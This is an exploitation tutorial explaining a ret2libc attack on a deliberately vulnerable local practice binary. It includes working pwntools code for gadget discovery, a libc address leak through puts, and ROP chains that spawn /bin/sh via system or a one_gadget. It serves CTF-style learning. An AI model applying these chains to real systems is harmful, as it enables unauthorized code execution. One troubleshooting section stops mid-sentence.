# ROP - Leaking LIBC address

## Quick Resume

1. Find overflow offset
2. Find POP\_RDI, PUTS\_PLT and MAIN\_PLT gadgets
3. Find memory address of puts and guess the libc version \(donwload it\)
4. Given the library just exploit it

## Other tutorials and binaries to practice

This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)  
Another useful tutorial: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/)

## Code

Filename: `vuln.c`

```c
#include <stdio.h>

int main() {
    char buffer[32];
    puts("Simple ROP.\n");
    gets(buffer);

    return 0;
}
```

```bash
gcc -o vuln vuln.c -fno-stack-protector  -no-pie
```

## ROP - PWNtools template

\*\*\*\*[**Find my ROP-PWNtools template here.**](../../misc/basic-python/rop-pwn-template.md) I'm going to use the code located there to make the exploit.  
Download the exploit and place it in the same directory as the vulnerable binary.

## 1- Finding the offset

The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it \(by default `OFFSET = ""`\):

```bash
####################
#### Find offset ###
####################
OFFSET = ""#"A"*72
if OFFSET == "":
    gdb.attach(p.pid, "c") #Attach and continue
    payload = cyclic(1000)
    print(r.clean())
    r.sendline(payload)
    #x/wx $rsp -- Search for bytes that crashed the application
    #cyclic_find(0x6161616b) # Find the offset of those bytes
    return
```

**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:

```python
from pwn import *
cyclic_find(0x6161616b)
```

![](../../.gitbook/assets/image%20%28188%29.png)

After finding the offset \(in this case 40\) change the OFFSET variable inside the template using that value.  
`OFFSET = "A" * 40`

## 2- Finding Gadgets

Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.

```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
```

The `PUTS_PLT` is needed to call the **function puts**.  
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** \(infinite rounds of exploitation\).It is used at the end of each ROP.  
The **POP\_RDI** is needed to **pass** a **parameter** to the called function.

In this step you don't need to execute anything as everything will be found by pwntools during the execution.

## 3- Finding LIBC library

Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.

```python
def get_addr(func_name):
    FUNC_GOT = elf.got[func_name]
    log.info(func_name + " GOT @ " + hex(FUNC_GOT))
    # Create rop chain
    rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

    #Send our rop-chain payload
    #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
    print(p.clean()) # clean socket buffer (read all and print)
    p.sendline(rop1)

    #Parse leaked address
    recieved = p.recvline().strip()
    leak = u64(recieved.ljust(8, "\x00"))
    log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
    #If not libc yet, stop here
    if libc != "":
        libc.address = leak - libc.symbols[func_name] #Save libc base
        log.info("libc base @ %s" % hex(libc.address))
    
    return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
    print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
    p.interactive()
```

To do so, the most important line of the executed code is:

```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```

This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.  
Then, it will set the **address** of the gadget `POP_RDI` so the next address \(`FUNC_GOT`\) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.  
After that, `PUTS_PLT` will be called \(with `PUTS_GOT` inside the **RDI**\) so puts will **read the content** inside `PUTS_GOT` \(**the address of puts function in memory**\) and will **print it out**.  
Finally, **main function is called again** so we can exploit the overflow again.

This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** \(which is inside **libc** library\). Now that we have that address we can **search which libc version is being used**.

![](../../.gitbook/assets/image%20%2881%29.png)

As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used \(just find the library in `/lib/x86_64-linux-gnu/libc.so.6`\).  
But, in a remote exploit case I will explain here how can you find it:

### 3.1- Searching for libc version \(1\)

You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me/)  
It will also allow you to download the discovered version of **libc**

![](../../.gitbook/assets/image%20%2816%29.png)

### 3.2- Searching for libc version \(2\)

You can also do:

* `$ git clone https://github.com/niklasb/libc-database.git`
* `$ cd libc-database`
* `$ ./get`

This will take some time, be patient.  
For this to work we need:

* Libc symbol name: `puts`
* Leaked libc adddress: `0x7ff629878690`

We can figure out which **libc** that is most likely used.

```text
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```

We get 2 matches \(you should try the second one if the first one is not working\). Download the first one: 

```text
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
  -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
  -> Downloading package
  -> Extracting package
  -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```

Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.

### 3.3- Other functions to leak

```python
puts
printf
__libc_start_main
read
gets
```

## 4- Finding based libc address & exploiting

At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`

So, at the begging of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`

Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**. 

Inside the `get_addr`function the **base address of libc** is going to be calculated:

```python
    if libc != "":
        libc.address = leak - libc.symbols[func_name] #Save libc base
        log.info("libc base @ %s" % hex(libc.address))
```

Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**

```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```

Finally, the /bin/sh execution exploit is going to be prepared sent:

```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

##### Interact with the shell #####
p.interactive() #Interact with the conenction
```

Let's explain this final ROP.  
The last ROP \(`rop1`\) ended calling again the main function, then we can **exploit again** the **overflow** \(that's why the `OFFSET` is here again\). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ \(`BINSH`\) and call **system** function \(`SYSTEM`\) because the address of _"/bin/sh"_ will be passed as a parameter.  
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.

**This way the exploit will execute a** _**/bin/sh**_ **shell.**

![](../../.gitbook/assets/image%20%28255%29.png)

## 4\(2\)- Using ONE\_GADGET

You could also use [ONE\_GADGET ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP**.   
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.

```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```

## EXPLOIT FILE

Here you have the final exploit after having performed all the necessary changes to the original [**template.py**](../../misc/basic-python/rop-pwn-template.md) **file**.

{% file src="../../.gitbook/assets/template.py" caption="template.py" %}

## Common problems

### MAIN\_PLT = elf.symbols\['main'\] not found

If the "main" symbol does not exist. Then you can just where is the main code:

```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```

and set the address manually:

```python
MAIN_PLT = 0x401080
```

## Puts not found

If the binary is not using Puts you should check if it is using

### `sh: 1: %s%s%s%s%s%s%s%s: not found`

If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`

Try to **subtract 64 bytes to the address of "/bin/sh"**:

```python
BINSH = next(libc.search("/bin/sh")) - 64
```

